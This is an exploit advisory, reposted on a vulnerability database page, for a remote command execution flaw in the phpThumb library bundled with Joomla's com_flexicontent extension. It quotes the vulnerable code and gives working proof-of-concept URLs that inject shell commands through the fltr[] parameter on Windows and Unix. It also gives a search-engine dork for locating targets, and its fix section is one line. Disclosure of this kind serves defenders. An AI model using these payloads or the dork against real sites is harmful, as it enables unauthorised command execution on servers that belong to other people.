Lucene search
K

Joomla Flexicontent Remote Code Execution

🗓️ 08 Dec 2013 00:00:00Reported by Rafay BalochType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 35 Views

Joomla com_flexicontent Remote Code Execution CVE-2010-159

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Joomla Flexicontent Remote Code Execution Vulnerability
8 Dec 201300:00
zdt
CVE
CVE-2010-1598
29 Apr 201016:00
cve
Cvelist
CVE-2010-1598
29 Apr 201016:00
cvelist
EUVD
EUVD-2010-1624
7 Oct 202500:30
euvd
NVD
CVE-2010-1598
29 Apr 201016:30
nvd
OpenVAS
phpThumb < 1.7.9 Command Injection Vulnerability
11 Nov 201000:00
openvas
OpenVAS
phpThumb 'fltr[]' Parameter Command Injection Vulnerability
11 Nov 201000:00
openvas
Prion
Information disclosure
29 Apr 201016:30
prion
seebug.org
Joomla com_flexicontent远程代码执行漏洞
8 Jan 201400:00
seebug
`# Exploit Title: Joomla com_flexicontent Remote Code Execution  
# Release Date: 08/12/2013  
# Author: Deepankar Arora And Rafay Baloch  
# Contact: http://rafayhackingarticles.net  
# Vendor: http://www.flexicontent.org/  
# Versions Affected: 2.1.3(Latest) and earlier  
# Google Dork: inurl:com_flexicontent  
  
*----*  
*Description:*  
  
The vulnerability with phpthumb with a known vulnerability, however it has  
been included with com_flexicontent package.  
  
The exploit is nested in the "SafeExec" function, but the vulnerable  
parameter is passed to "ImageMagickThumbnailToGD".  
  
The vulnerable code is as follows:  
  
foreach ($this->fltr as $filterkey => $filtercommand) {  
@list($command, $parameter) = explode('|', $filtercommand, 2);  
switch ($command) {  
case 'blur':  
if ($this->ImageMagickSwitchAvailable('blur')) {  
@list($radius) = explode('|', $parameter);  
$radius = ($radius ? $radius : 1);  
$commandline .= ' -blur '.$radius;  
unset($this->fltr[$filterkey]);  
}  
break;  
  
$this->DebugMessage('ImageMagick called as ('.$commandline.')', __FILE__,  
__LINE__);  
$IMresult = phpthumb_functions::SafeExec($commandline);  
clearstatcache();  
if (@$IMtempSourceFilename && file_exists($IMtempSourceFilename)) {  
@unlink($IMtempSourceFilename);  
}  
  
if (!@file_exists($IMtempfilename) || !@filesize($IMtempfilename)) {  
$this->FatalError('ImageMagick failed with message  
('.trim($IMresult).')');  
$this->DebugMessage('ImageMagick failed with message  
('.trim($IMresult).')', __FILE__, __LINE__);  
  
  
Here the vulnerable parameter is fltr[] as the params passed is exploded by  
the pipe (|) character, and that's where the code is passed.  
How the command is processed:  
  
$output = array();  
$lastline = $execfunction($command, $output);  
$returnvalue = implode("\n", $output);  
  
  
As we can see the $command parameter is compiled with the imagemagick path,  
filename and parameters. Even the phpThumbDebug parameter gives us a  
console like account of everything imagemagick does as it executes.  
  
  
*----*  
*POC:*  
  
*Windows-  
/components/com_flexicontent/librairies/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9  
-quality 75 -interlace line fail.jpg jpeg:fail.jpg %26%26 dir %26%26  
&phpThumbDebug=9  
  
*nix-  
/components/com_flexicontent/librairies/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9  
-quality 75 -interlace line fail.jpg jpeg:fail.jpg ; ls -l ;  
&phpThumbDebug=9  
  
*----*  
*Fix:*  
  
Replace the phpthumb package being used with the latest version.  
  
*----*  
*References:*  
http://www.cvedetails.com/cve/CVE-2010-1598/  
  
*----*  
Warm Regards,  
Deepankar Arora and Rafay Baloch  
RHA Infosec  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation